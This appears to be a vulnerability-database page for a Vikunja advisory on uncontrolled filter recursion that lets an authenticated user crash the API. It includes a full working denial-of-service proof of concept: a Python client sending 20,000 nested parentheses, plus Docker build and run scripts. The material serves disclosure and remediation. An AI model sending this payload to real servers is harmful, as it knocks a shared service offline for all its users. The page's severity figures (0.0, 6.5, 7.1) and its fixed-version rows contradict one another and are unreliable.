GHSA-xxc3-xpmc-vmvr CVE-2026-91968 GO-2026-6759
Vikunja: Unbounded nested task-filter recursion permits API process termination
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.44%
- Chance of exploitation in the next 30 days. Higher than 37.86% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-674 Uncontrolled Recursion
- Fix
2.6.0- Upgrade code.vikunja.io/api to this version or later
Description
Unbounded nested task-filter recursion permits API process termination
Summary
Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process.
Impact and affected scope
- Type: Resource Exhaustion Recursive Parser
- Affected component: GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString
- Preconditions: A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter.
- Verified revision:
349cd5adbcc831ef08b08e6c9c6d627603c39606on 28 August 2026 - Affected release range:
= 2.5.0; broader historical range not established and maintainer confirmation requested
A single low-privileged network request can terminate the API process and deny service to all users.
Technical details
The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth.
Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed.
Relevant code:
pkg/models/task_collection_filter.go:240pkg/models/task_collection_filter.go:268pkg/models/task_collection_filter.go:274pkg/models/task_collection_filter.go:276pkg/models/task_collection_filter.go:295
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27.0-alpine
RUN apk add --no-cache bash build-base ca-certificates python3 tzdata
WORKDIR /app
COPY . /app
RUN chmod +x /app/*.sh 2>/dev/null || true
# Target source is supplied only at runtime through /target-repo:ro.
# This image contains build dependencies and reproduction helpers, not a clone.
Create reproduction/client.py:
#!/usr/bin/env python3
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE = "http://target:3456"
def request(method, path, body=None, token=None, expected=None, timeout=30):
raw = None if body is None else json.dumps(body).encode()
headers = {"Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as response:
status, data = response.status, response.read()
except urllib.error.HTTPError as exc:
status, data = exc.code, exc.read()
print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True)
if expected is not None and status != expected:
raise RuntimeError(f"{method}: got {status}, expected {expected}")
return status, json.loads(data.decode()) if data else {}
def wait_ready():
for _ in range(240):
try:
if request("GET", "/api/v1/info")[0] == 200:
return
except Exception:
pass
time.sleep(0.25)
raise RuntimeError("target did not become ready")
def filter_path(project_id, depth):
expression = "(" * depth + "id = 1" + ")" * depth
path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="")
print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True)
return path
def main():
wait_ready()
username, password = "PoC-filter-user", "PoC-password-123!"
request("POST", "/api/v2/register", {
"username": username,
"email": username + "@example.invalid",
"password": password,
}, expected=201)
_, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200)
token = login["token"]
_, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201)
started = time.monotonic()
request("GET", filter_path(project["id"], 1000), token=token, expected=200)
print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True)
try:
status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90)
raise RuntimeError(f"attack unexpectedly returned HTTP {status}")
except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc:
print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True)
print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True)
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True)
raise
Create reproduction/prepare.sh:
#!/usr/bin/env bash
set -euo pipefail
mkdir -p /work/repo
cp -a /target-repo/. /work/repo/
mkdir -p /work/repo/frontend/dist
cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html
cd /work/repo
CGO_ENABLED=1 go build \
-tags osusergo \
-ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \
-o /output/vikunja .
chmod 0755 /output/vikunja
if [[ -f /app/probe.go ]]; then
go build -o /output/probe /app/probe.go
chmod 0755 /output/probe
fi
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
BUILD_DIR="${WORKDIR}/build"
DATA_DIR="${WORKDIR}/data"
NETWORK="${IMAGE_TAG}-net-$$"
TARGET_CONTAINER="${IMAGE_TAG}-target-$$"
cleanup() {
docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files"
chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files"
echo "[PoC] cloning and pinning target ${TARGET_REF}"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
echo "[PoC] building helper image ${IMAGE_TAG}"
docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}"
docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh
docker network create "${NETWORK}" >/dev/null
docker run --detach --name "${TARGET_CONTAINER}" \
--network "${NETWORK}" --network-alias target \
--memory 512m --memory-swap 512m --pids-limit 256 \
-v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \
-e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \
-e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \
-e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \
-e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
-e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \
-e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \
"${IMAGE_TAG}" /app/vikunja web >/dev/null
set +e
OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)"
CLIENT_STATUS=$?
set -e
printf '%s\n' "${OUTPUT}"
for _ in $(seq 1 80); do
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
[[ "${STATE}" != "false 0 true" ]] && break
sleep 0.25
done
STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")"
echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}"
if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then
echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2
exit 1
fi
echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137"
echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process"
Create reproduction/frontend-placeholder.html:
<!doctype html><title>PoC backend reproduction placeholder</title>
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing.
Observed: Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS.
Verification and controls: The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137.
Observed evidence:
- depth=1000 target_bytes=6044: HTTP 200
- depth=20000 target_bytes=120044: RemoteDisconnected
- target container: OOMKilled=true, ExitCode=137
- PoC_FILTER_RECURSION=PASS
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
- Liyi Zhou (@lzhou1110)
- Strick Sheng (@Str1ckl4nd)
- Maurice Ng (@mauriceng98)
- Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | >= 2.5.0, < 2.6.0 |
2.6.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.6.0
- go
go get code.vikunja.io/api@v2.6.0 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-674: Uncontrolled Recursion
The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
How to prevent it
- Implementation: Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
- Implementation: Increase the stack size.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor